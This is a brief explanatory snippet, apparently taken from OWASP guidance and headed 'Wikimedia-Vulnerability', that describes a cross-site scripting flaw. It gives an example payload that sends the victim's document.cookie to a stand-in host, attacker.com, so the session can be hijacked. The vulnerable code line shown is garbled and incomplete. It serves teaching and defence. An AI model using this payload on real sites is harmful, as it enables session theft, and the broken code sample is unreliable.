Wikimedia-Vulnerability

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "";

The attacker modifies the ‘CC’ parameter in their browser to:

'> document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie '.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF. }}